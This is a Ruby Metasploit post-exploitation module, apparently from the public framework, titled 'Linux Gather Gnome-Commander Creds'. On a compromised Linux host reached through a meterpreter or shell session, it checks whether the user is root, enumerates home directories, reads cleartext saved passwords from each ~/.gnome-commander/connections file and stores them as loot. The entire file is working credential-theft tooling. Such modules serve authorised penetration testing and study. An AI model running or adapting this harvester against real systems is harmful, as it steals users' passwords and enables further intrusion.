1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5

6
class MetasploitModule < Msf::Post
7
  include Msf::Post::File
8

9
  def initialize(info = {})
10
    super(
11
      update_info(
12
        info,
13
        'Name' => 'Linux Gather Gnome-Commander Creds',
14
        'Description' => %q{
15
          This module collects the clear text passwords stored by
16
          Gnome-commander, a GUI file explorer for GNOME.  Typically, these
17
          passwords are stored in the user's home directory, at
18
          ~/.gnome-commander/connections.
19
        },
20
        'License' => MSF_LICENSE,
21
        'Author' => [ 'David Bloom' ], # Twitter: @philophobia78
22
        'Platform' => %w[linux],
23
        'SessionTypes' => [ 'meterpreter', 'shell'],
24
        'Notes' => {
25
          'Stability' => [CRASH_SAFE],
26
          'SideEffects' => [],
27
          'Reliability' => []
28
        }
29
      )
30
    )
31
  end
32

33
  def run
34
    user_dirs = []
35
    # Search current user
36
    user = cmd_exec('whoami').chomp
37
    # User is root
38
    if user == 'root'
39
      print_status("Current user is #{user}, probing all home dirs")
40
      user_dirs << '/root'
41
      # Search home dirs
42
      cmd_exec('ls /home').each_line.map { |l| user_dirs << "/home/#{l}".chomp }
43
    else
44
      # Non root user
45
      print_status("Current user is #{user}, probing /home/#{user}")
46
      user_dirs << "/home/#{user}"
47
    end
48
    # Try to find connections file in users homes
49
    user_dirs.each do |dir|
50
      # gnome-commander connections file
51
      connections_file = "#{dir}/.gnome-commander/connections"
52
      if file?(connections_file)
53
        # File.exist
54
        begin
55
          str_file = read_file(connections_file)
56
          print_good("File found: #{connections_file}")
57
          vprint_line(str_file)
58
          # Store file
59
          p = store_loot('connections', 'text/plain', session, str_file, connections_file, 'Gnome-Commander connections')
60
          print_good("Connections file saved to #{p}")
61
        rescue EOFError
62
          # If there's nothing in the file, we hit EOFError
63
          print_error("Nothing read from file: #{connections_file}, file may be empty")
64
        end
65
      else
66
        # File not found
67
        vprint_error("File not found: #{connections_file}")
68
      end
69
    end
70
  end
71
end
72

73